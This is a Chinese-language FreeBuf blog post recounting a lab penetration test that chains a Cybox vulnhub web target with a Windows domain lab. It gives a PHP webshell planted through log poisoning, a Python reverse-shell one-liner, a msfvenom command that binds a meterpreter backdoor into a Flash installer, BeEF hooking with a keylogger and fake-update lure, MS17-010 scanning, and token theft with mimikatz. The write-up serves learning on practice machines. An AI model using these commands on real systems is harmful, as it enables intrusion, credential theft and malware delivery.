freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

缝合怪打缝合靶场~
2021-01-17 10:35:23

概述

利用红日靶场四vulnhub靶机,缝合靶场的学习记录,前期准备中记录了vulhub项目的漏洞复现学习。在学习环境中可以不断利用缝合这几种方式/环境进行学习--我是缝合怪!~

  • Cybox-Web靶机-提权

  • Msf联动Beef进内网

  • proxychain-sock5代理

  • MS17-010提权system

  • 令牌窃取域管理员

准备工作

此次共三台机器,红日靶场四中的域PC和域DC,加上Cybox 1.1的Web靶机。

需要更改攻击机的/etc/hosts和DC中dns的解析。将cybox.company设置为web靶机的IP。

热身-vulhub

​         该靶场中的原有web机器是搭建好的vulhub 项目,一键构建对应漏洞的docker容器,方便进行漏洞学习/浮复现。这里推荐使用git clone整个项目,有变动的时候直接git pull即可。热身准备docker-未授权,搞一下~~

构建漏洞容器

sudo su 
##以sudo调用su,su是切换用户的命令,sudo是以ROOT权限执行切换,切换到ROOT输入本账户密码。
docker-compose build 
docker-compose up -d
git pull
##构建容器,启动容器,down是关闭容器,git pull 在本地拉取远程仓库同步。

获取shell

Cybox-1.1-Web

信息收集

获取子域名---目录爆破---兔子洞陷阱---越权修改密码---文件包含日志RCE---sudo提权

此靶机的ftp,ckeditor,webmail这三个地方是兔子洞,像漏洞……

webmail的squ 1.4.22版本存在可利用exp但是无法执行。

ftp的根目录在用户的$HOME写不了webshell。

ckeditor没有找到上传点……

gobuster vhost -u http://cybox.company -w 'dict' -t 64

python3 dirsearch.py -e * -L url.txt -t 32 -x 400,403

注册用户

​ 根据页面创建普通用户,得到cybox的用户名和密码,该用户可以登陆webmail系统

越权漏洞

​         在monitor系统利用重置密码功能,在收件箱查收到重置链接后修改email参数为admin即可重置admin账户密码

文件包含

​         在monitor系统的admin页面查看源码可以发现styles动态加载,存在php文件包含漏洞,在dev.cybox.company页面可以查看到phpinfo信息.

根据apache2路径在日志文件中写入<?php system($_GET['shell']);?>,首先包含apache2的/opt/bitnami/apache2/logs/access_log路径看到日志存储的是ftp.cybox.company站点的日志在浏览器中按CTRL+SHIFT+I组合键在network中选择数据包选择'edit and resend'将php代码写入agent中发送即可。

反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击ip',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
##在这个靶机中因为设置了iptables白名单有严格的out和input链,反弹只能从21、25、80、443、110、143端口output。


sudo提权

​         利用github中找到的smart-linux-enum,使用该脚本进行枚举/信息收集,查找可以提权的点。

​        发现可疑/opt/registerlauncher程序,在同目录下发现源码,查阅后发现该源码为register页面结合看到的hahah用户判断此功能为注册页面register的功能实现,尝试创建多个用户后发现用户sudo可以执行任意sudo命令,以sudo su命令提权ROOT成功。在该靶机查看/etc/sudoers文件发现用户组%admin和%sudo拥有sudo权限,创建sudo用户的同时,sudo也在sudo同名组。

内网渗透

​        发现该机器存在白名单的iptables限制,本意不打算修改。该系统为目标的公司系统,控制了web系统后修改web页面的php文件增加beef的hook,横向扩展使用msf联动beef的方式进行。

beef文件修改

修改beef的配置文件,此处只做示例,详细情况根据自己的环境和想法修改。beef配置文件采用yaml格式,内部有注释,通俗易懂。

  • extension扩展打开

  • 修改默认用户/密码

  • 修改默认文件名/路径

  • 修改默认端口

默认kali环境下路径为

/usr/share/beef-xss/config.yaml

在最后的扩展部分找到msf设置为true,其余的端口密码,路径文件名全都在该文件中,看注释或者单词名即可。篇幅原因就不粘贴出来了。

/usr/share/beef-xss/extensions/metasploit/config.yaml

在第二张截图是msf扩展部分,其中端口是msf默认的api接口,beef会和这个端口通讯,其中账户和密码也是默认的,可以修改,也可以不改。后续在msf加载的时候同步修改即可。最下面一部分需要根据自己的msf安装路径进行填写,需要让beef找到msf。

修改配置完成之后需要先打开msf,执行load msgrpc ServerHost=XXXXX Pass=XXXXX,加载成功后打开beef,beef默认需要ROOT执行,msf也必须以ROOT执行,我在不同权限启动的时候出现了报错,可能会无法访问msf的api接口,最新版msf以ROOT权限启动使用kali系统自身的postgresql。

fake-flash更新

​        在主页修改完成之后,在beef中即可看到用户上线,执行keylogger记录后,可以查看到用户的基本情况,以及在当前页面的键盘记录。我们模拟用户在域PC上面进行登陆,访问自己的register.cybox.company我们操作beef进行更新提示,诱导用户下载执行自己的恶意flash.exe程序。

msfvenom -a x86 --platform windows -x flashplayer_32_ax_debug.exe -k -p windows/meterpreter/reverse_tcp lhost=XXXX lport=XXX -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o flashplayer.exe 
首先在网络上找到一个flash的更新程序,利用msfvenom程序将木马捆绑在该程序上,'-k'选项的意思是不影响flash程序的本身功能,'-e -i'执行3次编码,'-b'是将可能影响程序的坏字符\x00剔除,这么制作完之后不能使用upx加壳。也可以用msfvenom 制作shellcode加载的方式。

也可以利用 msf的autopwn模块联动beef的点击劫持自动化攻击访问者的浏览器,autopwn会根据访问者的浏览器自动进行exp利用。

UAC限制

正好顺着这个,用令牌窃取的方式获取域管理员权限。后续用管理员查看后发现本机的UAC设置开启的最高级别。

获取shell-douser

proxy chain代理

run get_local_subnets
run autoroute -s XXXX/24
获取本机网段,添加路由。
background 返回主页面
use auxiliary/server/socks_proxy
set srvhost XXXX 本机IP
socks中还有端口,账户,密码。都可以选择性更改。
最终的socks服务器将会把所有流量代理进这个meterpreter会话,使用这个通讯连接转发。

MS17-010漏洞

proxychains nmap -sV --top-ports 3000 XXXXX -Pn -T4
proxychains nmap -sV -p445 -iL ip.txt  -Pn --script smb-vuln-ms17-010
使用nmap进行top-3000端口扫描,-Pn禁止存活探测,验证ms17-010漏洞


令牌窃取

​         kiwi_cmd就是执行mimikatz的命令,在msf中加载需要load kiwi。使用incognito令牌窃取,域管理员登陆过这台机器之后即可窃取域管理员身份令牌。

list_tokens -u  ##查看当前内存中的令牌
impersonate_token DEMO\\Administrator ##窃取域管理员令牌
chcp 65001 ## 切换英文,中文乱码
net view ##查看网内计算机名
nbtstat -A IP ## 根据IP查计算机名,在这里我们dc也是dns。没有dns解析找不到dc的。
dir \\DC\C$ ##以域管理员身份对DC执行dir命令
kiwi_cmd -f lsadump::sam  ###查看本地sam账户密码库
kiwi_cmd -f kerberos::list ###列出kerberos

总结

不断瞎搞各种各样的环境~~

学习一年多的一只新菜鸟,上文有任何错误之处请各位大哥尽情指出,还需要和各位前辈多多学习。

本人博客:https://dnie9.com/ ,刚开张半个月混个脸熟。

# 渗透测试 # vulnhub靶机 # Vulhub漏洞 # 学习经验
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录